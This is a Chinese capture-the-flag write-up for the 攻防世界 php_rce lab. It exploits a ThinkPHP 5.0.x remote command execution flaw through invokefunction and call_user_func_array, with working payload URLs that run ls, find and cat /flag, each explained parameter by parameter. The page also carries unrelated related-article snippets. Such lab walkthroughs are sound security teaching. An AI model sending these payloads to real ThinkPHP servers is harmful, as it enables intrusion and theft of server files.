攻防世界_php_rce(ThinkPHP框架)

news/2025/2/3 17:41:04 标签: php

打开靶场

点链接,发现是广告,没什么特别的,再看题目php.rce,查一下RCE是什么

RCE(Remote Command Execution)远程命令执行,是一种严重的网络安全漏洞。
RCE指攻击者能通过网络远程控制目标系统,执行恶意命令,获取敏感信息、控制设备、传播恶意软件等,对系统安全和数据造成极大威胁。
 
常见攻击方式 Web应用漏洞利用:如PHP应用中,若对用户输入过滤不严格,攻击者可通过表单、URL参数等注入恶意命令,借助服务器执行命令的函数,像 system() 、 exec() 等实现远程命令执行。

发现ThinkPHP是一个框架

尝试错误参数或任意版本,试错

输入?s=s或?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

  • s=index/\think\Container/invokefunction
    • 在 ThinkPHP 框架中,s 一般作为路由参数。这里指定要调用 \think\Container 类的 invokefunction 方法。\think\Container 是 ThinkPHP 的容器类,其主要作用是管理对象的依赖注入和实例化。invokefunction 方法可能用于动态调用其他函数。
  • function=call_user_func_array
    • function 参数指定要调用的函数为 call_user_func_array。这是 PHP 的一个内置函数,它可以调用任意函数,并将参数以数组的形式传递给被调用的函数。
  • vars[0]=system
    • vars 是一个数组参数,vars[0] 的值为 system,表明要调用的具体函数是 system。在 PHP 里,system 函数用于执行外部系统命令,并返回命令执行的输出结果。
  • vars[1][]=ls
    • vars[1] 是传递给 system 函数的参数,值为 lsls 是类 Unix 系统(如 Linux、macOS)中的命令,用于列出当前目录下的文件和文件夹信息。

发现ThinkPHP漏洞为5.0.20版本,输入

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

  • s=index/\think\app/invokefunction
    • 在 ThinkPHP 框架里,s 通常作为路由参数。这里指定要调用 \think\app 类中的 invokefunction 方法,该方法可能具备动态调用其他函数的功能。
  • function=call_user_func_array
    • function 参数明确要使用 call_user_func_array 函数。此函数是 PHP 的内置函数,它可以调用任意函数,并将参数以数组形式传递给被调用的函数。
  • vars[0]=system
    • vars 是一个数组参数,vars[0] 的值为 system,意味着要调用的具体函数是 systemsystem 函数在 PHP 中用于执行外部系统命令,并将命令执行结果输出。
  • vars[1][]=ls
    • vars[1] 是传递给 system 函数的参数,值为 lsls 是 Linux 或 macOS 等类 Unix 系统中的命令,用于列出当前目录下的文件和文件夹信息。

输入 ,试图通过执行 find / -name "flag" 命令来查找服务器上名为 flag 的文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

  • s=index/\think\app/invokefunction
    • s 一般是路由参数,在 ThinkPHP 框架里用于指定路由规则。这里指定的路由路径 index/\think\app/invokefunction 指向了 \think\app 类中的 invokefunction 方法,这个方法可能具备动态调用函数的能力。
  • function=call_user_func_array
    • function 参数指定要调用的函数为 call_user_func_arraycall_user_func_array 是 PHP 的一个内置函数,它能够调用任意用户自定义或内置的函数,并且可以将参数以数组的形式传递给被调用的函数。
  • vars[0]=system
    • vars 是一个数组参数,vars[0] 的值为 system,这意味着要调用的具体函数是 system 函数。在 PHP 中,system 函数用于执行外部系统命令,并将命令的输出返回。
  • vars[1][]=find / -name "flag"
    • vars[1] 是传递给 system 函数的参数数组,这里的值为 find / -name "flag",这是一个 Linux 系统命令,其作用是在根目录 / 下查找所有名为 flag 的文件。

 

 输入

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

  • s=index/\think\app/invokefunction
    • s 是 ThinkPHP 框架里用于指定路由的参数。这里指定的路由指向 \think\app 类的 invokefunction 方法,此方法可能具备动态调用函数的功能。
  • function=call_user_func_array
    • function 参数明确要调用的函数是 call_user_func_array。这是 PHP 的一个内置函数,其作用是调用指定的函数,并将参数以数组形式传递给该函数。
  • vars[0]=system
    • vars 是一个数组参数,vars[0] 的值为 system,表明要调用的具体函数是 system。在 PHP 中,system 函数用于执行外部系统命令,并返回命令执行的输出结果。
  • vars[1][]=cat /flag
    • vars[1] 是传递给 system 函数的参数,值为 cat /flagcat 是 Linux 系统中的一个命令,用于查看文件内容,/flag 是文件路径,这个命令的目的是读取根目录下名为 flag 的文件内容。

 参考链接:[CTF_网络安全] 攻防世界 php_rce 解题详析


http://www.niftyadmin.cn/n/5840966.html

相关文章

在Ubuntu上使用Docker部署DeepSeek

在Ubuntu上使用Docker部署DeepSeek,并确保其可以访问公网网址进行对话,可以按照以下步骤进行: 一、安装Docker 更新Ubuntu的软件包索引: sudo apt-get update安装必要的软件包,这些软件包允许apt通过HTTPS使用存储库…

【漫话机器学习系列】075.隐含层(Hidden Layer)

隐含层(Hidden Layer) 在人工神经网络(ANN)中,隐含层是指输入层和输出层之间的层。它们由多个神经元(或节点)组成,这些神经元负责从输入层接收信号,进行处理后将信号传递…

通过 Docker 部署 Mastodon 服务器 的教程

如何使用Edu邮箱申请Azure订阅并开通免费的VPS 想要免费获得 Azure 的VPS吗?拥有一个Edu邮箱就能让你轻松实现!Edu邮箱不仅可以帮助你申请 Azure 的学生订阅,还能免费使用 Adobe 和 Notion 等软件,让你的学习和工作更加便捷。如果…

大模型-CLIP 详细介绍

CLIP简介 CLIP(Contrastive Language–Image Pre-training)是由OpenAI在2021年提出的一种多模态机器学习模型。它旨在通过大量的文本-图像对进行训练,从而学会理解图像内容,并能将这些内容与相应的自然语言描述相匹配。CLIP的核心…

软件工程概论试题六

接试题五 一、单选 11.采用敏捷方法开发系统时,在软件维护阶段会存在的一些问题,下列描述中哪个是错误的()。 A.开发团队的延续性 B. 缺少灵活性 C.保持客户参与 D 缺少产品文档 正答:B 12.(单选题,4.0 分) 容易分块的大型软件开发&#xf…

【周易哲学】生辰八字入门讲解(八)

😊你好,我是小航,一个正在变秃、变强的文艺倾年。 🔔本文讲解【周易哲学】生辰八字入门讲解,期待与你一同探索、学习、进步,一起卷起来叭! 目录 一、六亲女命六亲星六亲宫位相互关系 男命六亲星…

建表注意事项(2):表约束,主键自增,序列[oracle]

没有明确写明数据库时,默认基于oracle 约束的分类 用于确保数据的完整性和一致性。约束可以分为 表级约束 和 列级约束,区别在于定义的位置和作用范围 复合主键约束: 主键约束中有2个或以上的字段 复合主键的列顺序会影响索引的使用,需谨慎设计 添加…

让banner.txt可以自动读取项目版本

文章目录 1.sunrays-dependencies1.配置插件2.pluginManagement统一指定版本 2.common-log4j2-starter1.banner.txt使用$ 符号取出2.查看效果 1.sunrays-dependencies 1.配置插件 <!-- 为了让banner.txt自动获取版本号 --><plugin><groupId>org.apache.mave…